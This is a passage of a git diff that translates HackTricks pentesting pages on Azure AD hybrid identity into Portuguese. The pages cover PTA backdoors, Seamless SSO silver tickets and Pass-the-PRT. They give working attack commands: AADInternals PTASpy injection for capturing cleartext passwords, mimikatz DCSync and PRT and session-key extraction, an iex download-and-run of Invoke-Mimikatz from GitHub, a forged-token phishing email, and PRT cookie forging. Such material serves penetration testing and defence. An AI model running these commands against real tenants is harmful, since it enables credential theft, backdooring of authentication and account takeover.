**validate ALL the passwords** introduced (so all passwords will be valid for authentication): +### Local -> nuvem +Se você tiver acesso **administrativo** ao **servidor Azure AD Connect** com o **agente PTA** em execução, você pode usar o módulo **AADInternals** para **inserir uma porta dos fundos** que **validará TODAS as senhas** introduzidas (então todas as senhas serão válidas para autenticação): ```powershell Install-AADIntPTASpy ``` - > [!NOTE] -> If the **installation fails**, this is probably due to missing [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). - -It's also possible to **see the clear-text passwords sent to PTA agent** using the following cmdlet on the machine where the previous backdoor was installed: +> Se a **instalação falhar**, isso provavelmente se deve à falta dos [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). +Também é possível **ver as senhas em texto claro enviadas para o agente PTA** usando o seguinte cmdlet na máquina onde o backdoor anterior foi instalado: ```powershell Get-AADIntPTASpyLog -DecodePasswords ``` +Este backdoor irá: -This backdoor will: - -- Create a hidden folder `C:\PTASpy` -- Copy a `PTASpy.dll` to `C:\PTASpy` -- Injects `PTASpy.dll` to `AzureADConnectAuthenticationAgentService` process +- Criar uma pasta oculta `C:\PTASpy` +- Copiar um `PTASpy.dll` para `C:\PTASpy` +- Injetar `PTASpy.dll` no processo `AzureADConnectAuthenticationAgentService` > [!NOTE] -> When the AzureADConnectAuthenticationAgent service is restarted, PTASpy is “unloaded” and must be re-installed. +> Quando o serviço AzureADConnectAuthenticationAgent é reiniciado, o PTASpy é “descarregado” e deve ser reinstalado. ### Cloud -> On-Prem > [!CAUTION] -> After getting **GA privileges** on the cloud, it's possible to **register a new PTA agent** by setting it on an **attacker controlled machine**. Once the agent is **setup**, we can **repeat** the **previous** steps to **authenticate using any password** and also, **get the passwords in clear-text.** +> Após obter **privilegios GA** na nuvem, é possível **registrar um novo agente PTA** configurando-o em uma **máquina controlada pelo atacante**. Uma vez que o agente está **configurado**, podemos **repetir** os **passos anteriores** para **autenticar usando qualquer senha** e também, **obter as senhas em texto claro.** ### Seamless SSO -It's possible to use Seamless SSO with PTA, which is vulnerable to other abuses. Check it in: +É possível usar Seamless SSO com PTA, que é vulnerável a outros abusos. Confira em: {{#ref}} seamless-sso.md {{#endref}} -## References +## Referências - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta) - [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md index 289951b91..8443deec0 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md @@ -1,31 +1,30 @@ -# Az - Seamless SSO +# Az - SSO Sem Costura {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatically **signs users in when they are on their corporate devices** connected to your corporate network. When enabled, **users don't need to type in their passwords to sign in to Azure AD**, and usually, even type in their usernames. This feature provides your users easy access to your cloud-based applications without needing any additional on-premises components. +[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) O Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **loga automaticamente os usuários quando estão em seus dispositivos corporativos** conectados à sua rede corporativa. Quando ativado, **os usuários não precisam digitar suas senhas para fazer login no Azure AD**, e geralmente, nem mesmo digitar seus nomes de usuário. Este recurso fornece aos seus usuários fácil acesso às suas aplicações baseadas em nuvem sem precisar de componentes adicionais on-premises.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

-Basically Azure AD Seamless SSO **signs users** in when they are **on a on-prem domain joined PC**. +Basicamente, o Azure AD Seamless SSO **loga os usuários** quando estão **em um PC conectado ao domínio on-prem**. -It's supported by both [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) and [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md). +É suportado tanto por [**PHS (Sincronização de Hash de Senha)**](phs-password-hash-sync.md) quanto por [**PTA (Autenticação Pass-through)**](pta-pass-through-authentication.md). -Desktop SSO is using **Kerberos** for authentication. When configured, Azure AD Connect creates a **computer account called AZUREADSSOACC`$`** in on-prem AD. The password of the `AZUREADSSOACC$` account is **sent as plain-text to Azure AD** during the configuration. +O SSO de Desktop usa **Kerberos** para autenticação. Quando configurado, o Azure AD Connect cria uma **conta de computador chamada AZUREADSSOACC`$`** no AD on-prem. A senha da conta `AZUREADSSOACC$` é **enviada em texto simples para o Azure AD** durante a configuração. -The **Kerberos tickets** are **encrypted** using the **NTHash (MD4)** of the password and Azure AD is using the sent password to decrypt the tickets. +Os **tickets Kerberos** são **criptografados** usando o **NTHash (MD4)** da senha e o Azure AD usa a senha enviada para descriptografar os tickets. -**Azure AD** exposes an **endpoint** (https://autologon.microsoftazuread-sso.com) that accepts Kerberos **tickets**. Domain-joined machine's browser forwards the tickets to this endpoint for SSO. +**Azure AD** expõe um **endpoint** (https://autologon.microsoftazuread-sso.com) que aceita **tickets** Kerberos. O navegador da máquina unida ao domínio encaminha os tickets para este endpoint para SSO. -### On-prem -> cloud - -The **password** of the user **`AZUREADSSOACC$` never changes**. Therefore, a domain admin could compromise the **hash of this account**, and then use it to **create silver tickets** to connect to Azure with **any on-prem user synced**: +### On-prem -> nuvem +A **senha** do usuário **`AZUREADSSOACC$` nunca muda**. Portanto, um administrador de domínio poderia comprometer o **hash desta conta**, e então usá-lo para **criar tickets silver** para se conectar ao Azure com **qualquer usuário on-prem sincronizado**: ```powershell # Dump hash using mimikatz Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' - mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit +mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit # Dump hash using https://github.com/MichaelGrafnetter/DSInternals Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local @@ -39,9 +38,7 @@ Import-Module DSInternals $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos ``` - -With the hash you can now **generate silver tickets**: - +Com o hash, você agora pode **gerar tickets silver**: ```powershell # Get users and SIDs Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier @@ -56,66 +53,57 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com ## Send email Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "

Urgent!


The following bill should be paid asap." ``` +Para utilizar o silver ticket, os seguintes passos devem ser executados: -To utilize the silver ticket, the following steps should be executed: - -1. **Initiate the Browser:** Mozilla Firefox should be launched. -2. **Configure the Browser:** - - Navigate to **`about:config`**. - - Set the preference for [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) to the specified [values](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically): - - `https://aadg.windows.net.nsatc.net` - - `https://autologon.microsoftazuread-sso.com` -3. **Access the Web Application:** - - Visit a web application that is integrated with the organization's AAD domain. A common example is [Office 365](https://portal.office.com/). -4. **Authentication Process:** - - At the logon screen, the username should be entered, leaving the password field blank. - - To proceed, press either TAB or ENTER. +1. **Iniciar o Navegador:** O Mozilla Firefox deve ser iniciado. +2. **Configurar o Navegador:** +- Navegue até **`about:config`**. +- Defina a preferência para [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) para os [valores](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) especificados: +- `https://aadg.windows.net.nsatc.net` +- `https://autologon.microsoftazuread-sso.com` +3. **Acessar a Aplicação Web:** +- Visite uma aplicação web que esteja integrada com o domínio AAD da organização. Um exemplo comum é [Office 365](https://portal.office.com/). +4. **Processo de Autenticação:** +- Na tela de login, o nome de usuário deve ser inserido, deixando o campo da senha em branco. +- Para prosseguir, pressione TAB ou ENTER. > [!TIP] -> This doesn't bypass MFA if enabled +> Isso não contorna o MFA se estiver habilitado -#### Option 2 without dcsync - SeamlessPass +#### Opção 2 sem dcsync - SeamlessPass -It's also possible to perform this attack **without a dcsync attack** to be more stealth as [explained in this blog post](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). For that you only need one of the following: +Também é possível realizar este ataque **sem um ataque dcsync** para ser mais furtivo, como [explicado neste post do blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Para isso, você só precisa de um dos seguintes: -- **A compromised user's TGT:** Even if you don't have one but the user was compromised,you can get one using fake TGT delegation trick implemented in many tools such as [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) and [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9). -- **Golden Ticket**: If you have the KRBTGT key, you can create the TGT you need for the attacked user. -- **A compromised user’s NTLM hash or AES key:** SeamlessPass will communicate with the domain controller with this information to generate the TGT -- **AZUREADSSOACC$ account NTLM hash or AES key:** With this info and the user’s Security Identifier (SID) to attack it's possible to create a service ticket an authenticate with the cloud (as performed in the previous method). - -Finally, with the TGT it's possible to use the tool [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) with: +- **Um TGT de usuário comprometido:** Mesmo que você não tenha um, mas o usuário foi comprometido, você pode obter um usando o truque de delegação de TGT falso implementado em muitas ferramentas como [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) e [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9). +- **Golden Ticket**: Se você tiver a chave KRBTGT, pode criar o TGT que precisa para o usuário atacado. +- **Hash NTLM ou chave AES de um usuário comprometido:** O SeamlessPass se comunicará com o controlador de domínio com essas informações para gerar o TGT. +- **Hash NTLM ou chave AES da conta AZUREADSSOACC$:** Com essas informações e o Identificador de Segurança (SID) do usuário a ser atacado, é possível criar um ticket de serviço e autenticar com a nuvem (como realizado no método anterior). +Finalmente, com o TGT, é possível usar a ferramenta [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) com: ``` seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt ``` +Mais informações para configurar o Firefox para funcionar com SSO sem interrupções podem ser [**encontradas neste post do blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). -Further information to set Firefox to work with seamless SSO can be [**found in this blog post**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). +#### ~~Criando tickets Kerberos para usuários apenas na nuvem~~ -#### ~~Creating Kerberos tickets for cloud-only users~~ - -If the Active Directory administrators have access to Azure AD Connect, they can **set SID for any cloud-user**. This way Kerberos **tickets** can be **created also for cloud-only users**. The only requirement is that the SID is a proper [SID](). +Se os administradores do Active Directory tiverem acesso ao Azure AD Connect, eles podem **definir SID para qualquer usuário da nuvem**. Dessa forma, os **tickets** Kerberos podem ser **criados também para usuários apenas na nuvem**. O único requisito é que o SID seja um [SID](). > [!CAUTION] -> Changing SID of cloud-only admin users is now **blocked by Microsoft**.\ -> For info check [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) +> Alterar o SID de usuários administradores apenas na nuvem agora está **bloqueado pela Microsoft**.\ +> Para mais informações, consulte [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -### On-prem -> Cloud via Resource Based Constrained Delegation - -Anyone that can manage computer accounts (`AZUREADSSOACC$`) in the container or OU this account is in, it can **configure a resource based constrained delegation over the account and access it**. +### On-prem -> Nuvem via Delegação Constrained Baseada em Recurso +Qualquer pessoa que possa gerenciar contas de computador (`AZUREADSSOACC$`) no contêiner ou OU em que essa conta está, pode **configurar uma delegação constrained baseada em recurso sobre a conta e acessá-la**. ```python python rbdel.py -u \\ -p azureadssosvc$ ``` +## Referências -## References - -- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) -- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) +- [https://learn.microsoft.com/pt-br/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/pt-br/azure/active-directory/hybrid/how-to-connect-sso) +- [https://www.dsinternals.com/pt-br/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/pt-br/impersonating-office-365-users-mimikatz/) - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) +- [TR19: Estou na sua nuvem, lendo os e-mails de todo mundo - hackeando Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index b09d8a841..32b57edc4 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -2,77 +2,72 @@ {{#include ../../../banners/hacktricks-training.md}} -## What is a PRT +## O que é um PRT {{#ref}} az-primary-refresh-token-prt.md {{#endref}} -### Check if you have a PRT - +### Verifique se você tem um PRT ``` Dsregcmd.exe /status ``` - -In the SSO State section, you should see the **`AzureAdPrt`** set to **YES**. +Na seção SSO State, você deve ver o **`AzureAdPrt`** definido como **YES**.
-In the same output you can also see if the **device is joined to Azure** (in the field `AzureAdJoined`): +Na mesma saída, você também pode ver se o **dispositivo está associado ao Azure** (no campo `AzureAdJoined`):
-## PRT Cookie - -The PRT cookie is actually called **`x-ms-RefreshTokenCredential`** and it's a JSON Web Token (JWT). A JWT contains **3 parts**, the **header**, **payload** and **signature**, divided by a `.` and all url-safe base64 encoded. A typical PRT cookie contains the following header and body: +## Cookie PRT +O cookie PRT é na verdade chamado de **`x-ms-RefreshTokenCredential`** e é um JSON Web Token (JWT). Um JWT contém **3 partes**, o **cabeçalho**, **carga útil** e **assinatura**, divididos por um `.` e todos codificados em base64 seguros para URL. Um cookie PRT típico contém o seguinte cabeçalho e corpo: ```json { - "alg": "HS256", - "ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383" +"alg": "HS256", +"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383" } { - "refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA", - "is_primary": "true", - "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" +"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA", +"is_primary": "true", +"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" } ``` +O **Primary Refresh Token (PRT)** real está encapsulado dentro do **`refresh_token`**, que é criptografado por uma chave sob o controle do Azure AD, tornando seu conteúdo opaco e indecifrável para nós. O campo **`is_primary`** significa a encapsulação do token de atualização primário dentro deste token. Para garantir que o cookie permaneça vinculado à sessão de login específica para a qual foi destinado, o `request_nonce` é transmitido da página `logon.microsoftonline.com`. -The actual **Primary Refresh Token (PRT)** is encapsulated within the **`refresh_token`**, which is encrypted by a key under the control of Azure AD, rendering its contents opaque and undecryptable to us. The field **`is_primary`** signifies the encapsulation of the primary refresh token within this token. To ensure that the cookie remains bound to the specific login session it was intended for, the `request_nonce` is transmitted from the `logon.microsoftonline.com` page. +### Fluxo do Cookie PRT usando TPM -### PRT Cookie flow using TPM +O processo **LSASS** enviará ao TPM o **KDF context**, e o TPM usará a **session key** (coletada quando o dispositivo foi registrado no AzureAD e armazenada no TPM) e o contexto anterior para **derivar** uma **key**, e essa **derived key** é usada para **assinar o cookie PRT (JWT).** -The **LSASS** process will send to the TPM the **KDF context**, and the TPM will used **session key** (gathered when the device was registered in AzureAD and stored in the TPM) and the previous context to **derivate** a **key,** and this **derived key** is used to **sign the PRT cookie (JWT).** +O **KDF context é** um nonce do AzureAD e o PRT criando um **JWT** misturado com um **contexto** (bytes aleatórios). -The **KDF context is** a nonce from AzureAD and the PRT creating a **JWT** mixed with a **context** (random bytes). - -Therefore, even if the PRT cannot be extracted because it's located inside the TPM, it's possible to abuseLSASS to **request derived keys from new contexts and use the generated keys to sign Cookies**. +Portanto, mesmo que o PRT não possa ser extraído porque está localizado dentro do TPM, é possível abusar do LSASS para **solicitar chaves derivadas de novos contextos e usar as chaves geradas para assinar Cookies**.
-## PRT Abuse Scenarios +## Cenários de Abuso do PRT -As a **regular user** it's possible to **request PRT usage** by asking LSASS for SSO data.\ -This can be done like **native apps** which request tokens from **Web Account Manager** (token broker). WAM pasess the request to **LSASS**, which asks for tokens using signed PRT assertion. Or it can be down with **browser based (web) flow**s where a **PRT cookie** is used as **header** to authenticate requests to Azure AS login pages. +Como um **usuário regular**, é possível **solicitar o uso do PRT** pedindo ao LSASS dados de SSO.\ +Isso pode ser feito como **aplicativos nativos** que solicitam tokens do **Web Account Manager** (corretor de tokens). O WAM passa a solicitação para o **LSASS**, que pede tokens usando a asserção PRT assinada. Ou pode ser feito com **fluxos baseados em navegador (web)** onde um **cookie PRT** é usado como **cabeçalho** para autenticar solicitações às páginas de login do Azure AS. -As **SYSTEM** you could **steal the PRT if not protected** by TPM or **interact with PRT keys in LSASS** using crypto APIs. +Como **SYSTEM**, você poderia **roubar o PRT se não estiver protegido** pelo TPM ou **interagir com as chaves PRT no LSASS** usando APIs criptográficas. -## Pass-the-PRT Attack Examples +## Exemplos de Ataque Pass-the-PRT -### Attack - ROADtoken +### Ataque - ROADtoken -For more info about this way [**check this post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken will run **`BrowserCore.exe`** from the right directory and use it to **obtain a PRT cookie**. This cookie can then be used with ROADtools to authenticate and **obtain a persistent refresh token**. - -To generate a valid PRT cookie the first thing you need is a nonce.\ -You can get this with: +Para mais informações sobre essa maneira [**ver este post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). O ROADtoken executará **`BrowserCore.exe`** do diretório correto e usará isso para **obter um cookie PRT**. Este cookie pode então ser usado com ROADtools para autenticar e **obter um token de atualização persistente**. +Para gerar um cookie PRT válido, a primeira coisa que você precisa é de um nonce.\ +Você pode obter isso com: ```powershell $TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" $URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" $Params = @{ - "URI" = $URL - "Method" = "POST" +"URI" = $URL +"Method" = "POST" } $Body = @{ "grant_type" = "srv_challenge" @@ -81,27 +76,19 @@ $Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body $Result.Nonce AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA ``` - -Or using [**roadrecon**](https://github.com/dirkjanm/ROADtools): - +Ou usando [**roadrecon**](https://github.com/dirkjanm/ROADtools): ```powershell roadrecon auth prt-init ``` - -Then you can use [**roadtoken**](https://github.com/dirkjanm/ROADtoken) to get a new PRT (run in the tool from a process of the user to attack): - +Então você pode usar [**roadtoken**](https://github.com/dirkjanm/ROADtoken) para obter um novo PRT (execute a ferramenta a partir de um processo do usuário a ser atacado): ```powershell .\ROADtoken.exe ``` - -As oneliner: - +Como uma linha: ```powershell Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} ``` - -Then you can use the **generated cookie** to **generate tokens** to **login** using Azure AD **Graph** or Microsoft Graph: - +Então você pode usar o **cookie gerado** para **gerar tokens** para **fazer login** usando Azure AD **Graph** ou Microsoft Graph: ```powershell # Generate roadrecon auth --prt-cookie @@ -109,13 +96,11 @@ roadrecon auth --prt-cookie # Connect Connect-AzureAD --AadAccessToken --AccountId ``` +### Ataque - Usando roadrecon -### Attack - Using roadrecon - -### Attack - Using AADInternals and a leaked PRT - -`Get-AADIntUserPRTToken` **gets user’s PRT token** from the Azure AD joined or Hybrid joined computer. Uses `BrowserCore.exe` to get the PRT token. +### Ataque - Usando AADInternals e um PRT vazado +`Get-AADIntUserPRTToken` **obtém o token PRT do usuário** do computador associado ao Azure AD ou associado de forma híbrida. Usa `BrowserCore.exe` para obter o token PRT. ```powershell # Get the PRToken $prtToken = Get-AADIntUserPRTToken @@ -123,9 +108,7 @@ $prtToken = Get-AADIntUserPRTToken # Get an access token for AAD Graph API and save to cache Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` - -Or if you have the values from Mimikatz you can also use AADInternals to generate a token: - +Ou se você tiver os valores do Mimikatz, você também pode usar AADInternals para gerar um token: ```powershell # Mimikat "PRT" value $MimikatzPRT="MC5BWU..." @@ -153,40 +136,36 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken # Verify access and connect with Az. You can see account id in mimikatz prt output Connect-AzAccount -AccessToken $AT -TenantID -AccountId ``` - -Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie. - +Vá para [https://login.microsoftonline.com](https://login.microsoftonline.com), limpe todos os cookies para login.microsoftonline.com e insira um novo cookie. ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] Path: / HttpOnly: Set to True (checked) ``` - -Then go to [https://portal.azure.com](https://portal.azure.com) +Então vá para [https://portal.azure.com](https://portal.azure.com) > [!CAUTION] -> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good. +> O restante deve ser os padrões. Certifique-se de que você pode atualizar a página e o cookie não desaparece, se isso acontecer, você pode ter cometido um erro e terá que passar pelo processo novamente. Se não, você deve estar bem. -### Attack - Mimikatz +### Ataque - Mimikatz -#### Steps +#### Passos -1. The **PRT (Primary Refresh Token) is extracted from LSASS** (Local Security Authority Subsystem Service) and stored for subsequent use. -2. The **Session Key is extracted next**. Given that this key is initially issued and then re-encrypted by the local device, it necessitates decryption using a DPAPI masterkey. Detailed information about DPAPI (Data Protection API) can be found in these resources: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) and for an understanding of its application, refer to [Pass-the-cookie attack](az-pass-the-cookie.md). -3. Post decryption of the Session Key, the **derived key and context for the PRT are obtained**. These are crucial for the **creation of the PRT cookie**. Specifically, the derived key is employed for signing the JWT (JSON Web Token) that constitutes the cookie. A comprehensive explanation of this process has been provided by Dirk-jan, accessible [here](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). +1. O **PRT (Primary Refresh Token) é extraído do LSASS** (Local Security Authority Subsystem Service) e armazenado para uso posterior. +2. A **Chave de Sessão é extraída em seguida**. Dado que essa chave é inicialmente emitida e depois recriptografada pelo dispositivo local, é necessário a descriptografia usando uma chave mestra DPAPI. Informações detalhadas sobre DPAPI (Data Protection API) podem ser encontradas nesses recursos: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) e para entender sua aplicação, consulte [Pass-the-cookie attack](az-pass-the-cookie.md). +3. Após a descriptografia da Chave de Sessão, a **chave derivada e o contexto para o PRT são obtidos**. Estes são cruciais para a **criação do cookie PRT**. Especificamente, a chave derivada é empregada para assinar o JWT (JSON Web Token) que constitui o cookie. Uma explicação abrangente desse processo foi fornecida por Dirk-jan, acessível [aqui](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). > [!CAUTION] -> Note that if the PRT is inside the TPM and not inside `lsass` **mimikatz won't be able to extract it**.\ -> However, it will be possible to g**et a key from a derive key from a context** from the TPM and use it to **sign a cookie (check option 3).** +> Note que se o PRT estiver dentro do TPM e não dentro do `lsass`, **mimikatz não conseguirá extraí-lo**.\ +> No entanto, será possível **obter uma chave de uma chave derivada de um contexto** do TPM e usá-la para **assinar um cookie (ver opção 3).** -You can find an **in depth explanation of the performed process** to extract these details in here: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) +Você pode encontrar uma **explicação detalhada do processo realizado** para extrair esses detalhes aqui: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) > [!WARNING] -> This won't exactly work post August 2021 fixes to get other users PRT tokens as only the user can get his PRT (a local admin cannot access other users PRTs), but can access his. - -You can use **mimikatz** to extract the PRT: +> Isso não funcionará exatamente após as correções de agosto de 2021 para obter os tokens PRT de outros usuários, pois apenas o usuário pode obter seu PRT (um administrador local não pode acessar os PRTs de outros usuários), mas pode acessar o seu. +Você pode usar **mimikatz** para extrair o PRT: ```powershell mimikatz.exe Privilege::debug @@ -196,93 +175,76 @@ Sekurlsa::cloudap iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' ``` - (Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
-**Copy** the part labeled **Prt** and save it.\ -Extract also the session key (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) which you can see highlighted below. This is encrypted and we will need to use our DPAPI masterkeys to decrypt it. +**Copie** a parte rotulada **Prt** e salve-a.\ +Extraia também a chave da sessão (o **`KeyValue`** do campo **`ProofOfPossesionKey`**) que você pode ver destacado abaixo. Isso está criptografado e precisaremos usar nossas chaves mestras DPAPI para descriptografá-lo.
> [!NOTE] -> If you don’t see any PRT data it could be that you **don’t have any PRTs** because your device isn’t Azure AD joined or it could be you are **running an old version** of Windows 10. - -To **decrypt** the session key you need to **elevate** your privileges to **SYSTEM** to run under the computer context to be able to use the **DPAPI masterkey to decrypt it**. You can use the following commands to do so: +> Se você não ver nenhum dado PRT, pode ser que você **não tenha nenhum PRT** porque seu dispositivo não está associado ao Azure AD ou pode ser que você esteja **executando uma versão antiga** do Windows 10. +Para **descriptografar** a chave da sessão, você precisa **elevar** seus privilégios para **SYSTEM** para executar sob o contexto do computador e poder usar a **chave mestra DPAPI para descriptografá-la**. Você pode usar os seguintes comandos para fazer isso: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect ``` -
-#### Option 1 - Full Mimikatz +#### Opção 1 - Mimikatz Completo -- Now you want to copy both the Context value: +- Agora você quer copiar tanto o valor do Contexto:
-- And the derived key value: +- Quanto o valor da chave derivada:
-- Finally you can use all this info to **generate PRT cookies**: - +- Finalmente, você pode usar todas essas informações para **gerar cookies PRT**: ```bash Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT] ``` -
